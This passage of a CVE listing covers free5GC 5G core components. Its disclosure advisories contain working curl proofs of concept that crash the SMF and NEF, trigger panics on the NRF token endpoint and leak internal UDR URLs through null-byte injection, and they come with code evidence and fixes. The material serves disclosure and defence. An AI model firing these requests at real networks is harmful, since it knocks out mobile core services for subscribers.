containing control characters and returns an error. UDM catches this error and responds with a `500 SYSTEM_FAILURE` that includes the full internal UDR URL in the `detail` field. **This is a missed fix of CVE-2026-27642**, which applied the same `validator.IsValidSupi()` check only to `internal/sbi/api_ueauthentication.go` (`HandleConfirmAuth` and `HandleGenerateAuthData`), leaving the SDM service handlers unpatched. ## Proof of Concept ```bash # Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data" # Expected (vulnerable) response: # HTTP 500 # { # "title": "System failure", # "status": 500, # "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", # "cause": "SYSTEM_FAILURE" # } # Protected endpoint (for comparison) — returns 400 curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" # HTTP 400 # {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"} ``` ## Impact An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain: 1. Internal UDR hostname and port 2. Full internal API path structure (`/nudr-dr/v2/subscription-data/...`) 3. UDR API version 4. Internal service naming convention This information can be used to facilitate further attacks against the UDR or other internal 5G core components. ## Recommended Fix Add `validator.IsValidSupi()` to all six affected handlers, following the pattern already used in `HandleGetAmData`: ```go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORY_IE_INCORRECT", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return } ``` | |
| CVE-2026-41135 | Hig | 0.42 | 7.5 | 0.00 | Apr 22, 2026 | free5GC UDR is the Policy Control Function (PCF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. A memory leak vulnerability in versions prior to 1.4.3 allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment. Version 1.4.3 contains a patch. | |
| CVE-2026-44328 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`) - SMF endpoint: `http://10.100.200.6:8000` Control comparison on the same SMF instance: - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` - `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic) The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it. Vulnerable handler logic (paths in `free5gc/smf`): ```go // NFs/smf/internal/sbi/api_upi.go:94..99 if upNode.Type == smf_context.UPNODE_UPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF ``` The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction. Code evidence: - UPI group mounted WITHOUT auth middleware: - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Protected control comparison (other SMF groups DO use auth): - `NFs/smf/internal/sbi/server.go:99` - `NFs/smf/internal/sbi/server.go:105` - Delete handler (panic site): - `NFs/smf/internal/sbi/api_upi.go:94` - `NFs/smf/internal/sbi/api_upi.go:99` - AN nodes are constructed without a UPF object (root cause of the nil deref): - `NFs/smf/internal/context/user_plane_information.go:95` - `NFs/smf/internal/context/user_plane_information.go:97` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Control: protected sibling OAM route returns `401`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` ``` HTTP/1.1 401 Unauthorized ``` 2. Trigger: unauthenticated DELETE on the default AN node `gNB1`: ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`: ``` [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1 ``` The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation. ### Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction. 3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic. Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating. This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199 | |
| CVE-2026-44325 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83 | |
| CVE-2026-44322 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - `NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22 | |
| CVE-2026-44321 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203 | |
| CVE-2026-44319 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25 | |
| CVE-2026-44316 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated. ### Details Validated against the PCF container in the official Docker compose lab. - free5GC version: 